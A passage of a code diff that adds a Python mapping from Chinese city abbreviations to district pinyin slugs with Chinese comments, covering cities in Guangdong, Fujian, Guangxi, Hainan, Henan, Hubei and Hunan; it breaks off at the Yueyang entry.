+ 'zq': [ + 'duanzhou', # 端州 + 'dinghu', # 鼎湖 + 'sihui', # 四会 + 'gaoyao', # 高要 + 'deqingxian', # 德庆 + 'guangning', # 广宁 + 'fengkai', # 封开 + 'huaiji', # 怀集 + 'zhaoqing', # 其他 + ], + # 茂名 广东 华南 + 'mm': [ + 'maonan', # 茂南 + 'maogang', # 茂港 + 'gaozhou', # 高州 + 'huazhou', # 化州 + 'xinyi', # 信宜 + 'dianbai', # 电白 + 'maoming', # 其他 + ], + # 揭阳 广东 华南 + 'jy': [ + 'rongchengqu', # 榕城 + 'puning', # 普宁 + 'jiedong', # 揭东 + 'huilai', # 惠来 + 'jiexi', # 揭西 + 'jieyang', # 其他 + ], + # 梅州 广东 华南 + 'mz': [ + 'meijiangqu', # 梅江 + 'xingningshi', # 兴宁 + 'meixianm', # 梅县 + 'dapuxian', # 大埔 + 'fengshunxian', # 丰顺 + 'wuhuaxian', # 五华 + 'pingyuanxian', # 平远 + 'jiaolingxian', # 蕉岭 + 'meizhouzb', # 梅州周边 + ], + # 清远 广东 华南 + 'qingyuan': [ + 'qingchengqu', # 清城 + 'qingxinxian', # 清新 + 'yingdeshi', # 英德 + 'lianzhoushi', # 连州 + 'fogangxian', # 佛冈 + 'yangshanxian', # 阳山 + 'liannanxian', # 连南 + 'lianshanxian', # 连山 + ], + # 阳江 广东 华南 + 'yj': [ + 'jiangchengqu', # 江城 + 'yangchunshi', # 阳春 + 'yangdongxian', # 阳东 + 'yangxixian', # 阳西 + 'hailingqu', # 海陵 + 'gangqiaoqu', # 岗侨 + 'gaoxinquw', # 高新区 + ], + # 韶关 广东 华南 + 'sg': [ + 'wujiangqu', # 武江 + 'zhenjiang', # 浈江 + 'beijiang', # 北江 + 'qujiang', # 曲江 + 'lechang', # 乐昌 + 'nanxiong', # 南雄 + 'xinfeng', # 新丰 + 'renhua', # 仁化 + 'shixing', # 始兴 + 'ruyuan', # 乳源 + 'shaoguan', # 其它 + 'sgwyx', # 翁源县 + ], + # 河源 广东 华南 + 'heyuan': [ + 'yuancheng', # 源城 + 'zijin', # 紫金 + 'longchuan', # 龙川 + 'lianping', # 连平 + 'hepingx', # 和平县 + 'dongyuanx', # 东源 + 'heyuanzhoubian', # 河源周边 + ], + # 云浮 广东 华南 + 'yf': [ + 'yuanchengq', # 云城 + 'luoding', # 罗定 + 'yuanan', # 云安 + 'xinxingx', # 新兴 + 'yunan', # 郁南 + 'yuanfuzhoubian', # 云浮周边 + ], + # 汕尾 广东 华南 + 'sw': [ + 'shanweicq', # 汕尾城区 + 'haifengxian', # 海丰 + 'lufengshi', # 陆丰 + 'luhexian', # 陆河 + 'shanweizb', # 汕尾周边 + ], + # 潮州 广东 华南 + 'chaozhou': [ + 'xiangqiao', # 湘桥 + 'fengxi', # 枫溪 + 'chaoan', # 潮安 + 'raoping', # 饶平 + 'chaozhouzhoubian', # 潮州周边 + ], + # 台山 广东 华南 + 'taishan': [ + 'dajiang', # 大江 + 'sijiu', # 四九 + 'duhu', # 都斛 + 'chixi', # 赤溪 + 'chongwei', # 冲蒌 + 'doushan', # 斗山 + 'guanghai', # 广海 + 'chuandao', # 川岛 + 'duanfen', # 端芬 + 'haiyanz', # 海宴 + 'sanhez', # 三合 + 'beidou', # 北陡 + 'shenjing', # 深井 + 'baishaz', # 白沙 + 'taishanzb', # 台山周边 + ], + # 阳春 广东 华南 + 'yangchun': [ + 'chuncheng', # 春城镇 + 'helangzhen', # 河塱镇 + 'songbaizhen', # 松柏镇 + 'pomianzhen', # 陂面镇 + 'heshuizhen', # 合水镇 + 'chunwanzhen', # 春湾镇 + 'gangmeizhen', # 岗美镇 + 'hekouzhen', # 河口镇 + 'tanshuizhen', # 潭水镇 + 'bajiazhen', # 八甲镇 + 'shuangjiaozhen', # 双窖镇 + 'yongningzhen', # 永宁镇 + 'guigangzhen', # 圭岗镇 + 'shiwangzhen', # 石望镇 + 'mashuizhen', # 马水镇 + 'sanjiazhen', # 三甲镇 + ], + # 顺德 广东 华南 + 'sd': [ + 'shunde', # 顺德 + 'daliang', # 大良 + 'junyan', # 均安 + 'luochong', # 乐从 + 'beijiao', # 北滘 + 'chencun', # 陈村 + 'leliu', # 勒流 + 'lunjiao', # 伦教 + 'xintan', # 杏坛 + 'longjiangz', # 龙江 + 'yonggui', # 容桂 + ], + # 惠东 广东 华南 + 'huidong': [ + 'daling', # 大岭 + 'huangbu', # 黄埠 + 'hzpingshan', # 平山 + 'xunliao', # 巽寮 + 'huidongzb', # 惠东周边 + ], + # 博罗 广东 华南 + 'boluo': [ + 'hzlongxi', # 龙溪 + 'hzluoyang', # 罗阳 + 'hzshiwan', # 石湾 + 'hzyuanzhou', # 园洲 + 'boluozb', # 博罗周边 + ], + # 福州 福建 华南 + 'fz': [ + 'taijiang', # 台江 + 'fzgulou', # 鼓楼 + 'cangshan', # 仓山 + 'jinanqu', # 晋安 + 'mayi', # 马尾 + 'minhouxian', # 闽侯 + 'changleshi', # 长乐 + 'fuqingshi', # 福清 + 'pingtanxian', # 平潭 + 'lianjiangxian', # 连江 + 'yongtaixian', # 永泰 + 'minqingxian', # 闽清 + 'luoyuanxian', # 罗源 + 'fuzhouzb', # 福州周边 + ], + # 厦门 福建 华南 + 'xm': [ + 'siming', # 思明 + 'huli', # 湖里 + 'jimei', # 集美 + 'xmxl', # 杏林 + 'haicang', # 海沧 + 'tongan', # 同安 + 'xiangan', # 翔安 + 'xiamenzhoubian', # 厦门周边 + ], + # 泉州 福建 华南 + 'qz': [ + 'qztstzq', # 台商投资区 + 'luojiang', # 洛江 + 'quangang', # 泉港 + 'huianxian', # 惠安 + 'anxixian', # 安溪 + 'yongchunxian', # 永春 + 'dehuaxian', # 德化 + 'nananqunew', # 南安 + 'shishiqu', # 石狮 + 'jinjiangqunew', # 晋江 + 'qiaonanpianqu', # 桥南片区 + 'qzlicheng', # 鲤城 + 'fengze', # 丰泽 + 'qzjmx', # 金门县 + 'quanzhouzb', # 泉州周边 + ], + # 莆田 福建 华南 + 'pt': [ + 'chengxiangqu', # 城厢 + 'lichengqu', # 荔城 + 'xiuyuqu', # 秀屿 + 'hanjiangqu', # 涵江 + 'xianyouxian', # 仙游 + 'meizhoudao', # 湄洲岛 + 'nanridao', # 南日岛 + 'huangguadao', # 黄瓜岛 + ], + # 漳州 福建 华南 + 'zhangzhou': [ + 'xiangchengqu', # 芗城 + 'longwen', # 龙文 + 'longhai', # 龙海 + 'zhangpu', # 漳浦 + 'pinghe', # 平和 + 'dongshanxian', # 东山 + 'zhaoan', # 诏安 + 'zhangzhoushi', # 其他 + 'zzlckfq', # 角美 + 'zzctx', # 长泰县 + 'zzyxx', # 云霄县 + 'zznjx', # 南靖县 + 'zzhax', # 华安县 + ], + # 宁德 福建 华南 + 'nd': [ + 'jiaochengqu', # 蕉城 + 'fuanshi', # 福安 + 'fudingshi', # 福鼎 + 'xiapuxian', # 霞浦 + 'zhenrongxian', # 柘荣 + 'shouningxian', # 寿宁 + 'gutianxian', # 古田 + 'pingnanxianq', # 屏南 + 'zhouningxian', # 周宁 + ], + # 三明 福建 华南 + 'sm': [ + 'meilie', # 梅列 + 'sanyuan', # 三元 + 'yongan', # 永安 + 'shaxian', # 沙县 + 'youxi', # 尤溪 + 'datianxian', # 大田 + 'mingxi', # 明溪 + 'qingliuxian', # 清流 + 'ninghua', # 宁化 + 'tainingxian', # 泰宁 + 'jianningxian', # 建宁 + 'jianglexian', # 将乐 + 'sanming', # 三明周边 + ], + # 南平 福建 华南 + 'np': [ + 'yanping', # 延平 + 'shaowu', # 邵武 + 'wuyishanshi', # 武夷山 + 'jianou', # 建瓯 + 'jianyangs', # 建阳 + 'shunchang', # 顺昌 + 'nanpingzhoubian', # 南平周边 + ], + # 龙岩 福建 华南 + 'ly': [ + 'xinluoqu', # 新罗 + 'zhangpingshi', # 漳平 + 'changtingxian', # 长汀 + 'yongdingxian', # 永定 + 'shanghangxian', # 上杭 + 'wupingxian', # 武平 + 'lianchengxian', # 连城 + ], + # 武夷山 福建 华南 + 'wuyishan': [ + 'chonganjie', # 崇安 + 'wuyijie', # 武夷 + 'xinfengjie', # 新丰 + 'xingcunzhen', # 星村镇 + 'xingtianzhen', # 兴田镇 + 'wufuzhen', # 五夫镇 + 'wuyishanzhoubian', # 武夷山周边 + ], + # 石狮 福建 华南 + 'shishi': [ + 'shishifzc', # 石狮服装城 + 'shishizb', # 石狮周边 + ], + # 晋江 福建 华南 + 'jinjiangshi': [ + 'yangguanggc', # 阳光广场 + 'smguangchang', # SM广场 + 'jinjiangzb', # 晋江周边 + 'qztyzx', # 体育中心 + ], + # 南安 福建 华南 + 'nananshi': [ + 'nananshiqu', # 南安市区 + 'nananqita', # 其它 + ], + # 南宁 广西 华南 + 'nn': [ + 'qingxiu', # 青秀 + 'xingning', # 兴宁 + 'jiangnan', # 江南 + 'xixiangtang', # 西乡塘 + 'yongning', # 邕宁 + 'liangqing', # 良庆 + 'nanning', # 南宁周边 + ], + # 柳州 广西 华南 + 'liuzhou': [ + 'chengzhongqu', # 城中 + 'yufengqu', # 鱼峰 + 'liubeiqu', # 柳北 + 'liunanqu', # 柳南 + 'liuchengxian', # 柳城 + 'liujiangxian', # 柳江 + 'luzhaixian', # 鹿寨 + 'ronganxian', # 融安 + 'rongshuixian', # 融水 + 'sanjiangxian', # 三江 + ], + # 桂林 广西 华南 + 'gl': [ + 'qixing', # 七星 + 'xiangshan', # 象山 + 'xiufeng', # 秀峰 + 'diecai', # 叠彩 + 'yanshan', # 雁山 + 'linguic', # 临桂 + 'lingchuanc', # 灵川 + 'yangsx', # 阳朔县 + 'xanxian', # 兴安县 + 'balijie', # 八里街 + 'guilin', # 桂林周边 + ], + # 玉林 广西 华南 + 'yulin': [ + 'yuzhouqu', # 玉州 + 'fumianqu', # 福绵 + 'beiliushi', # 北流 + 'rongxianq', # 容县 + 'xingyexian', # 兴业 + 'bobaixian', # 博白 + 'luchuanxian', # 陆川 + 'yulinzhoubian', # 玉林周边 + ], + # 梧州 广西 华南 + 'wuzhou': [ + 'dieshan', # 蝶山 + 'wanxiu', # 万秀 + 'changzhouqv', # 长洲 + 'cenxi', # 岑溪 + 'cangwu', # 苍梧 + 'tengxian', # 藤县 + 'mengshan', # 蒙山 + 'wuzhoushi', # 其它 + ], + # 北海 广西 华南 + 'bh': [ + 'haichengqu', # 海城 + 'yinhaiqu', # 银海 + 'tieshangangqu', # 铁山港区 + 'hepuxian', # 合浦 + 'beihaizhoubian', # 北海周边 + ], + # 贵港 广西 华南 + 'gg': [ + 'gangbeiqu', # 港北 + 'gangnanqu', # 港南 + 'qintangqu', # 覃塘 + 'guipingqu', # 桂平 + 'pingnanxian', # 平南 + ], + # 钦州 广西 华南 + 'qinzhou': [ + 'qzshiqu', # 市区 + 'qinnanqu', # 钦南 + 'qinbeiqu', # 钦北 + 'lingshanxian', # 灵山 + 'pubeixian', # 浦北 + ], + # 百色 广西 华南 + 'baise': [ + 'youjiangqu', # 右江 + 'longlinxian', # 隆林 + 'tianyangxian', # 田阳 + 'tiandongxian', # 田东 + 'pingguoxian', # 平果 + 'debaoxian', # 德保 + 'baisezhoubian', # 百色周边 + ], + # 河池 广西 华南 + 'hc': [ + 'jinchengjianqu', # 金城江 + 'yizhoushi', # 宜州 + 'nandanxian', # 南丹 + 'tianexian', # 天峨 + 'fengshanxian', # 凤山 + 'donglanxian', # 东兰 + 'luochengxian', # 罗城 + 'huanjiangxian', # 环江 + 'bamaxian', # 巴马 + 'duanxian', # 都安 + 'dahuaxian', # 大化 + 'hechixueyuan', # 河池学院 + ], + # 来宾 广西 华南 + 'lb': [ + 'xingbingqu', # 兴宾 + 'heshanshi', # 合山 + 'xiangzhouxian', # 象州 + 'wuxuanxian', # 武宣 + 'qichengxian', # 忻城 + 'jinxiuxian', # 金秀 + 'laibinzhoubian', # 来宾周边 + ], + # 贺州 广西 华南 + 'hezhou': [ + 'babu', # 八步 + 'pinggui', # 平桂 + 'zhaoping', # 昭平 + 'zhongshanx', # 钟山 + 'fuchuan', # 富川 + 'hezhouzhoubian', # 贺州周边 + ], + # 防城港 广西 华南 + 'fcg': [ + 'gangkou', # 港口 + 'fangcheng', # 防城 + 'shangshi', # 上思 + 'dongxings', # 东兴 + 'fangchenggangzhoubian', # 防城港周边 + ], + # 崇左 广西 华南 + 'chongzuo': [ + 'jiangzhou', # 江州 + 'pingxiangs', # 凭祥 + 'fusui', # 扶绥 + 'daxinx', # 大新 + 'tiandeng', # 天等 + 'ningming', # 宁明 + 'longzhou', # 龙州 + 'chongzuozhoubian', # 崇左周边 + ], + # 海口 海南 中南 + 'haikou': [ + 'longhuaqu', # 龙华 + 'xiuying', # 秀英 + 'qiongshan', # 琼山 + 'meilan', # 美兰 + 'haikouqita', # 海口周边 + ], + # 三亚 海南 中南 + 'sanya': [ + 'hexiquyu', # 河西 + 'fenghuangzhen', # 凤凰镇 + 'syjyq', # 吉阳区 + 'sytyq', # 天涯区 + 'syhtq', # 海棠区 + 'syyzq', # 崖州区 + 'syzb', # 三亚周边 + ], + # 五指山 海南 中南 + 'wzs': [ + 'chongshan', # 冲山镇 + 'nansheng', # 南圣镇 + 'maoyang', # 毛阳镇 + 'fanyang', # 番阳镇 + 'wuzhishanzb', # 五指山周边 + ], + # 三沙 海南 中南 + 'sansha': [ + 'nsqd', # 南沙群岛 + 'xsqd', # 西沙群岛 + 'zsqd', # 中沙群岛 + ], + # 琼海 海南 中南 + 'qh': [ + 'jiaji', # 嘉积镇 + 'wangquan', # 万泉镇 + 'shibi', # 石壁镇 + 'zhongyuanz', # 中原镇 + 'boao', # 博鳌镇 + 'yangjiang', # 阳江镇 + 'qionghaizb', # 琼海周边 + ], + # 文昌 海南 中南 + 'wenchang': [ + 'wencheng', # 文城镇 + 'chongxing', # 重兴镇 + 'penglaiz', # 蓬莱镇 + 'huiwen', # 会文镇 + 'donglu', # 东路镇 + 'tanniu', # 潭牛镇 + 'wenchangzb', # 文昌周边 + ], + # 万宁 海南 中南 + 'wanning': [ + 'wangchengz', # 万城镇 + 'longgun', # 龙滚镇 + 'snageng', # 山根镇 + 'hele', # 和乐镇 + 'houan', # 后安镇 + 'damao', # 大茂镇 + 'wanningzb', # 万宁周边 + ], + # 东方 海南 中南 + 'df': [ + 'basuo', # 八所镇 + 'donghez', # 东河镇 + 'datian', # 大田镇 + 'gancheng', # 感城镇 + 'banqiaoz', # 板桥镇 + 'sanjia', # 三家镇 + 'sigeng', # 四更镇 + 'xinlong', # 新龙镇 + 'dongfangzb', # 东方周边 + ], + # 白沙 海南 中南 + 'baish': [ + 'yacha', # 牙叉镇 + 'qifang', # 七坊镇 + 'bangxi', # 邦溪镇 + 'daanzh', # 打安镇 + 'baishazb', # 白沙周边 + ], + # 儋州 海南 中南 + 'danzhou': [ + 'nada', # 那大镇 + 'heqing', # 和庆镇 + 'nanfengz', # 南丰镇 + 'dachengz', # 大成镇 + 'yaxing', # 雅星镇 + 'lanyang', # 兰洋镇 + 'tanzhouzb', # 儋州周边 + ], + # 郑州 河南 中南 + 'zz': [ + 'zhongyuan', # 中原 + 'eqi', # 二七 + 'guancheng', # 管城区 + 'jinshui', # 金水 + 'shangjiequzz', # 上街 + 'huiji', # 惠济 + 'zhengdongxinqu', # 郑东新区 + 'zzgaoxin', # 高新区 + 'zzjingkaiq', # 经开区 + 'zzhkg', # 航空港 + 'zhengzhou', # 郑州周边 + ], + # 洛阳 河南 中南 + 'luoyang': [ + 'yanshiqu', # 偃师 + 'jianxi', # 涧西 + 'xigongqu', # 西工 + 'laocheng', # 老城 + 'chanhehuizu', # 瀍河 + 'luolong', # 洛龙 + 'lyyiyang', # 宜阳 + 'jiliqu', # 吉利 + 'yichuan', # 伊川 + 'yibin', # 伊滨 + 'ruyang', # 汝阳 + 'luoyangshi', # 洛阳周边 + ], + # 新乡 河南 中南 + 'xx': [ + 'hongqi', # 红旗 + 'weibinqu', # 卫滨 + 'fengquan', # 凤泉 + 'muye', # 牧野 + 'weihui', # 卫辉 + 'huixian', # 辉县 + 'xinxiangxian', # 新乡县 + 'changyuan', # 长垣 + 'xinxiang', # 其他 + ], + # 南阳 河南 中南 + 'ny': [ + 'wolong', # 卧龙 + 'wancheng', # 宛城 + 'youtianqu', # 油田 + 'zhenpingxian', # 镇平 + 'neixiangxian', # 内乡 + 'xixiax', # 西峡 + 'xichuanxian', # 淅川 + 'dengzhou', # 邓州 + 'xinye', # 新野 + 'tanghe', # 唐河 + 'tongbaixian', # 桐柏 + 'sheqixian', # 社旗 + 'fangchengxian', # 方城 + 'nanzhaoxian', # 南召 + 'nanyang', # 其他 + ], + # 许昌 河南 中南 + 'xc': [ + 'changgeshi', # 长葛 + 'weidou', # 魏都 + 'yuzhoushi', # 禹州 + 'xuchang', # 许昌县 + 'yanlingxian', # 鄢陵 + 'xiangchengxian', # 襄城 + 'xuchangshi', # 其他 + ], + # 平顶山 河南 中南 + 'pds': [ + 'xinhuaqu', # 新华 + 'weidong', # 卫东 + 'zhanhe', # 湛河 + 'shilong', # 石龙 + 'ruzhou', # 汝州 + 'wugang', # 舞钢 + 'pingdingshan', # 平顶山周边 + ], + # 安阳 河南 中南 + 'ay': [ + 'wenfeng', # 文峰 + 'beiguan', # 北关 + 'yindou', # 殷都 + 'longan', # 龙安 + 'anyangxian', # 安阳 + 'linzhou', # 林州 + 'anyangqita', # 其他 + ], + # 焦作 河南 中南 + 'jiaozuo': [ + 'jiefangqu', # 解放 + 'shanyang', # 山阳 + 'zhongzhan', # 中站 + 'macun', # 马村 + 'gaoxin', # 高新 + 'mengzhou', # 孟州 + 'qinyang', # 沁阳 + 'wenxian', # 温县 + 'wuzhixian', # 武陟 + 'boaixian', # 博爱 + 'xiuwuxian', # 修武 + 'jiaozuoqita', # 其他 + ], + # 商丘 河南 中南 + 'sq': [ + 'liangyuan', # 梁园 + 'suiyang', # 睢阳 + 'yongcheng', # 永城 + 'ningling', # 宁陵 + 'yucheng', # 虞城 + 'minquan', # 民权 + 'xiayi', # 夏邑 + 'zhecheng', # 柘城 + 'suixian', # 睢县 + 'shangqiu', # 其他 + ], + # 开封 河南 中南 + 'kaifeng': [ + 'gulouquyu', # 鼓楼 + 'longtingqu', # 龙亭 + 'shunhequ', # 顺河 + 'yuwangtai', # 禹王台 + 'jinmingqu', # 金明 + 'qixianqu', # 杞县 + 'tongxuxian', # 通许 + 'weishixian', # 尉氏 + 'kaifengxian', # 开封县 + 'lankaoxian', # 兰考 + ], + # 濮阳 河南 中南 + 'puyang': [ + 'hualongqu', # 华龙 + 'gaoxinquyu', # 高新区 + 'puyangxian', # 濮阳县 + 'qingfengxian', # 清丰 + 'nanlexian', # 南乐 + 'fanxian', # 范县 + 'taiqianxian', # 台前 + 'puyangqita', # 其他 + ], + # 周口 河南 中南 + 'zk': [ + 'chuanhui', # 川汇 + 'xiangchengshi', # 项城 + 'shangshui', # 商水 + 'huaiyang', # 淮阳 + 'taikang', # 太康 + 'luyi', # 鹿邑 + 'xihua', # 西华 + 'fugou', # 扶沟 + 'shenqiu', # 沈丘 + 'dancheng', # 郸城 + 'zhoukou', # 其他 + ], + # 信阳 河南 中南 + 'xy': [ + 'xinyangshi', # 信阳市区 + 'shihequ', # 浉河 + 'pingqiaoqu', # 平桥 + 'gushixian', # 固始 + 'huangchuanxian', # 潢川 + 'guangshanxian', # 光山 + 'luoshanxian', # 罗山 + 'huaibinxian', # 淮滨 + 'yangshanxinqu', # 羊山新区 + 'xinxian', # 新县 + 'xixianqu', # 息县 + 'shangchengquq', # 商城 + ], + # 驻马店 河南 中南 + 'zmd': [ + 'yichengqu', # 驿城 + 'queshan', # 确山 + 'xincai', # 新蔡 + 'shangcai', # 上蔡 + 'xiping', # 西平 + 'biyang', # 泌阳 + 'pingyu', # 平舆 + 'runan', # 汝南 + 'suiping', # 遂平 + 'zhengyangxian', # 正阳 + 'zhumadian', # 其他 + ], + # 漯河 河南 中南 + 'luohe': [ + 'yuanhuiqu', # 源汇 + 'yanchengqu', # 郾城 + 'zhaolingqu', # 召陵 + 'gaoxinqu', # 高新区 + 'wuyangxian', # 舞阳 + 'linyingxian', # 临颍 + ], + # 三门峡 河南 中南 + 'smx': [ + 'hubinqu', # 湖滨 + 'kaifaqu', # 开发区 + 'shanxiansmx', # 陕县 + 'lingbaoshi', # 灵宝 + 'yimashi', # 义马 + 'yingchixian', # 渑池 + 'lushixian', # 卢氏 + ], + # 鹤壁 河南 中南 + 'hb': [ + 'qibinqu', # 淇滨 + 'shanchengqu', # 山城 + 'heshanqu', # 鹤山 + 'junxian', # 浚县 + 'qixianq', # 淇县 + ], + # 济源 河南 中南 + 'jiyuan': [ + 'shuangqiaojd', # 双桥街道 + 'jishuijd', # 济水街道 + 'beihaijd', # 北海街道 + 'tiantanjd', # 天坛街道 + 'longquanjd', # 龙泉街道 + 'jiyuanzb', # 济源周边 + ], + # 明港 河南 中南 + 'mg': [ + 'minggangqu', # 明港 + 'ganan', # 甘岸 + 'changtaiqu', # 长台 + 'chashan', # 查山 + 'xingji', # 刑集 + 'landian', # 兰店 + 'wanggang', # 王岗 + 'xiaodianqu', # 肖店 + 'pingchang', # 平昌 + ], + # 鄢陵 河南 中南 + 'yanling': [ + 'anlingzhen', # 安陵镇 + 'wangtianzhen', # 望田镇 + 'zhangqiaoxiang', # 张桥乡 + 'zhilexiang', # 只乐乡 + 'taochengxiang', # 陶城乡 + 'chendianxiang', # 陈店乡 + 'pengdianxiang', # 彭店乡 + 'damaxiang', # 大马乡 + 'mafangxiang', # 马坊乡 + 'nanwuxiang', # 南坞乡 + 'boliangzhen', # 柏梁镇 + 'malanzhen', # 马栏镇 + ], + # 禹州 河南 中南 + 'yuzhou': [ + 'yingchuanban', # 颍川办 + 'hanchengban', # 韩城办 + 'diaotaiban', # 钧台办 + 'xiaduban', # 夏都办 + 'shenhouzhen', # 神后镇 + 'fangshanzhen', # 方山镇 + 'shundianzhen', # 顺店镇 + 'wuliangzhen', # 无梁镇 + 'hongchangzhen', # 鸿畅镇 + 'liangbeizhen', # 梁北镇 + 'guchengzhenz', # 古城镇 + 'huolongzhen', # 火龙镇 + 'wenshuzhen', # 文殊镇 + 'qitaa', # 其他 + ], + # 长葛 河南 中南 + 'changge': [ + 'changshelu', # 长社路街道 + 'jianshelujd', # 建设路街道 + 'changxinglu', # 长兴路街道 + 'jinqiaolu', # 金桥路街道 + 'changgezb', # 长葛周边 + ], + # 武汉 湖北 中南 + 'wh': [ + 'wuchang', # 武昌 + 'hongshan', # 洪山 + 'huangpo', # 黄陂 + 'jiangan', # 江岸 + 'dongxihu', # 东西湖 + 'jianghan', # 江汉 + 'caidian', # 蔡甸 + 'hanyang', # 汉阳 + 'whtkfq', # 沌口开发区 + 'qiaokou', # 硚口 + 'jiangxia', # 江夏 + 'whqingshanqu', # 青山 + 'xinzhouqu', # 新洲 + 'hannan', # 汉南 + 'wuhan', # 武汉周边 + ], + # 宜昌 湖北 中南 + 'yc': [ + 'ycgzb', # 葛洲坝 + 'xiling', # 西陵 + 'wujiagang', # 伍家岗 + 'dianjun', # 点军 + 'xiaoting', # 猇亭 + 'yiling', # 夷陵 + 'dongs', # 东山 + 'yiduqu', # 宜都 + 'yuananxian', # 远安 + 'xingshanxian', # 兴山 + 'ziguixian', # 秭归 + 'wufengxian', # 五峰 + 'dangyang', # 当阳 + 'zhijiang', # 枝江 + 'changyang', # 长阳 + 'yichangqita', # 宜昌周边 + ], + # 襄阳 湖北 中南 + 'xf': [ + 'xfxiangcheng', # 樊城 + 'xiangcheng', # 襄城 + 'xiangyangqu', # 襄州 + 'zaoyang', # 枣阳 + 'yichengshi', # 宜城 + 'laohekou', # 老河口 + 'yuliangz', # 鱼梁洲 + 'gaoxq', # 高新区 + 'xiangfan', # 襄阳周边 + ], + # 荆州 湖北 中南 + 'jingzhou': [ + 'shashiqu', # 沙市 + 'jingjingzhou', # 荆州 + 'honghu', # 洪湖 + 'shishou', # 石首 + 'songzi', # 松滋 + 'jianli', # 监利 + 'gongan', # 公安 + 'jiangling', # 江陵 + 'jingzhouqita', # 其他 + ], + # 十堰 湖北 中南 + 'shiyan': [ + 'zhangwan', # 张湾 + 'maojian', # 茅箭 + 'danjiangkou', # 丹江口 + 'sywds', # 武当山 + 'sybljjkfq', # 白浪经济开发区 + 'yunxian', # 郧阳区 + 'zhushan', # 竹山 + 'fangxian', # 房县 + 'yunxixian', # 郧西 + 'zhuxi', # 竹溪 + 'shiyanshi', # 十堰周边 + ], + # 黄石 湖北 中南 + 'hshi': [ + 'huangshigang', # 黄石港 + 'xisaishan', # 西塞山 + 'tuanchengshan', # 团城山 + 'xialu', # 下陆 + 'tieshan', # 铁山 + 'daye', # 大冶 + 'hsyangxin', # 阳新 + 'huangshi', # 其它 + 'hshh', # 花湖 + ], + # 孝感 湖北 中南 + 'xiaogan': [ + 'xiaonan', # 孝南 + 'hanchuan', # 汉川 + 'xiaochang', # 孝昌 + 'yunmeng', # 云梦 + 'yingcheng', # 应城 + 'dawu', # 大悟 + 'anlu', # 安陆 + 'xiaoganqita', # 其他 + ], + # 黄冈 湖北 中南 + 'hg': [ + 'huangzhouqu', # 黄州 + 'wuxueshi', # 武穴 + 'machengshi', # 麻城 + 'xishuixian', # 浠水 + 'huangmeixian', # 黄梅 + 'qichenxian', # 蕲春 + 'tuanfengxian', # 团风 + 'honganxian', # 红安 + 'luotianxian', # 罗田 + 'yingshanxian', # 英山 + 'longganhuqu', # 龙感湖 + ], + # 恩施 湖北 中南 + 'es': [ + 'enshishi', # 恩施市 + 'lichuanshi', # 利川 + 'jianshixian', # 建始 + 'badongxian', # 巴东 + 'xianfengxian', # 咸丰 + 'xuanenxian', # 宣恩 + 'laifengxian', # 来凤 + 'hefengxian', # 鹤峰 + ], + # 荆门 湖北 中南 + 'jingmen': [ + 'jingshanxian', # 京山 + 'shayangxian', # 沙洋 + 'zhongxiangshi', # 钟祥 + 'dongbaoqu', # 东宝 + 'duodaoqu', # 掇刀 + 'qujialing', # 屈家岭管理区 + ], + # 咸宁 湖北 中南 + 'xianning': [ + 'xiananqu', # 咸安 + 'chibishi', # 赤壁 + 'jiayuxian', # 嘉鱼 + 'tongchenxian', # 通城 + 'chongyangxian', # 崇阳 + 'tongshanxian', # 通山 + 'xianningzb', # 咸宁周边 + ], + # 鄂州 湖北 中南 + 'ez': [ + 'erchengqu', # 鄂城区 + 'huarongqu', # 华容 + 'liangzihuqu', # 梁子湖 + 'erzhouzb', # 鄂州周边 + ], + # 随州 湖北 中南 + 'suizhou': [ + 'guangshuishi', # 广水 + 'zengduqu', # 曾都 + 'suixia', # 随县 + 'suizhouzb', # 随州周边 + ], + # 潜江 湖北 中南 + 'qianjiang': [ + 'yuanlinjiedao', # 园林街道 + 'zekoujiedao', # 泽口街道 + 'guanghuajd', # 广华街道 + 'zhoujijiedao', # 周矶街道 + 'yangshijiedao', # 杨市街道 + 'qianjiangzb', # 潜江周边 + ], + # 天门 湖北 中南 + 'tm': [ + 'jinglingjiedao', # 竟陵街道 + 'yuekoujiedao', # 岳口街道 + 'houkoujiedao', # 候口街道 + 'yanglinjiedao', # 杨林街道 + 'tianmenzb', # 天门周边 + ], + # 仙桃 湖北 中南 + 'xiantao': [ + 'xtsq', # 市区 + 'zhengchang', # 郑场 + 'maozui', # 毛嘴 + 'douhe', # 剅河 + 'sanfutan', # 三伏潭 + 'changshangkou', # 长埫口 + 'huchang', # 胡场 + 'xiantaozb', # 仙桃周边 + ], + # 神农架 湖北 中南 + 'snj': [ + 'songbozhen', # 松柏镇 + 'yangrizhen', # 阳日镇 + 'hongpingzhen', # 红坪镇 + 'muyuzhen', # 木鱼镇 + 'shennongjiazb', # 神农架周边 + ], + # 宜都 湖北 中南 + 'yidou': [ + 'yidoushiqu', # 宜都市区 + 'yidouqita', # 其它 + ], + # 长沙 湖南 中南 + 'cs': [ + 'cswc', # 望城 + 'furong', # 芙蓉 + 'yuelu', # 岳麓 + 'csyuhua', # 雨花 + 'tianxinqu', # 天心 + 'xingsha', # 星沙 + 'kaifu', # 开福 + 'changsha', # 长沙周边 + ], + # 株洲 湖南 中南 + 'zhuzhou': [ + 'tianyuan', # 天元 + 'hetang', # 荷塘 + 'zzyouxian', # 攸县 + 'shifeng', # 石峰 + 'chaling', # 茶陵 + 'lusong', # 芦淞 + 'yanlingxianx', # 炎陵 + 'liling', # 醴陵 + 'zhuzhouxian', # 株洲县 + 'zhuzhoushi', # 其他 + ], + # 益阳 湖南 中南 + 'yiyang': [ + 'heshanq', # 赫山 + 'ziyangq', # 资阳 + 'yuanjiangs', # 沅江 + 'nanxian', # 南县 + 'taojiang', # 桃江 + 'anhua', # 安化 + 'yiyangzhoubian', # 益阳周边 + ], + # 常德 湖南 中南 + 'changde': [ + 'wuling', # 武陵 + 'dingcheng', # 鼎城 + 'jinshi', # 津市 + 'lixian', # 澧县 + 'taoyuan', # 桃源 + 'anxiang', # 安乡 + 'shimen', # 石门 + 'linli', # 临澧 + 'hanshou', # 汉寿 + 'changdeshi', # 其他 + ], + # 衡阳 湖南 中南 + 'hy': [ + 'zhengxiang', # 蒸湘 + 'yanfeng', # 雁峰 + 'shigu', # 石鼓 + 'zhuhui', # 珠晖 + 'nanyue', # 南岳 + 'lixinkfq', # 立新开发区 + 'huaxinkfq', # 华新开发区 + 'hengyang', # 衡阳周边 + ], + # 湘潭 湖南 中南 + 'xiangtan': [ + 'yuhu', # 雨湖 + 'yuetang', # 岳塘 + 'jiuhuajingjikfq', # 九华经济开发区 + 'shaoshan', # 韶山 + 'xiangtanxian', # 湘潭县 + 'xiangxiang', # 湘乡 + 'xiangtanqita', # 湘潭周边 + ], + # 岳阳 湖南 